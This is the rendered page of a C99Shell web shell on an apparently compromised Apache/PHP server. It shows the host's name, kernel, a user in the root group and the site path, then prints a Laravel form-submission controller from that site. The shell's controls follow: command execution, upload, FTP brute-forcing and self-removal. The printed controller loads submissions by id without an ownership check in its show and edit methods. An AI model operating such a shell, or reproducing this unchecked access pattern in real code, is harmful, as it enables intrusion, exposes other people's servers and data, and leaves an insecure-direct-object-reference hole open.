!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/FormBuilder/Http/Controllers/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MySubmissionController.php (4.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Modules\FormBuilder\Http\Controllers;

use 
App\Http\Controllers\Controller;
use 
Modules\FormBuilder\Entities\Submission;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Modules\FormBuilder\DataTables\SubmissionDataTable;
use 
Throwable;

class 
MySubmissionController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(SubmissionDataTable $dataTable)
    {
        
$user auth()->user();

        
$submissions Submission::getForUser($user);

        
$pageTitle __("My Submissions");

        return 
$dataTable->render('formbuilder::my_submissions.index'compact('submissions''pageTitle'));
    }

    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
$user auth()->user();
        
$submission Submission::where(['id' => $id])
            ->
with('form')
            ->
firstOrFail();

        
$form_headers $submission->form->getEntriesHeader();

        
$pageTitle __("View Submission");

        return 
view('formbuilder::my_submissions.show'compact('submission''pageTitle''form_headers'));
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        
$user auth()->user();
        
$submission Submission::where(['id' => $id])
            ->
with('form')
            ->
firstOrFail();

        
// load up my current submissions into the form json data so that the
        // form is pre-filled with the previous submission we are trying to edit.
        
$submission->loadSubmissionIntoFormJson();

        
$pageTitle __("Edit My Submission for :x", ["x" => $submission->form->name]);

        return 
view('formbuilder::my_submissions.edit'compact('submission''pageTitle'));
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        
$user auth()->user();

        if (
$user->role()->slug == 'super-admin') {
            
$submission Submission::where(['id' => $id])->first();
        } else {
            
$submission Submission::where(['user_id' => $user->id'id' => $id])->first();
        }


        
DB::beginTransaction();

        try {
            
$input $request->except(['_token''_method']);

            
// check if files were uploaded and process them
            
$uploadedFiles $request->allFiles();
            foreach (
$uploadedFiles as $key => $file) {
                
// store the file and set it's path to the value of the key holding it
                
if ($file->isValid()) {
                    
$input[$key] = $file->store('form', ['disk' => 'public-folder']);
                }
            }

            
$submission->update(['content' => $input]);

            
DB::commit();

            return 
redirect()
                ->
route('formbuilder::submissions.all')
                ->
with('success'__('Submission updated.'));
        } catch (
Throwable $e) {
            
info($e);

            
DB::rollback();

            return 
back()->withInput()->with('error'Helper::wtf());
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy($id)
    {
        
$user auth()->user();

        if (
$user->role()->slug == 'super-admin') {
            
$submission Submission::where(['id' => $id])->first();
        } else {
            
$submission Submission::where(['user_id' => $user->id'id' => $id])->first();
        }

        
$submission->delete();

        return 
redirect()
            ->
route('formbuilder::submissions.all')
            ->
with('success'__('Submission deleted!'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--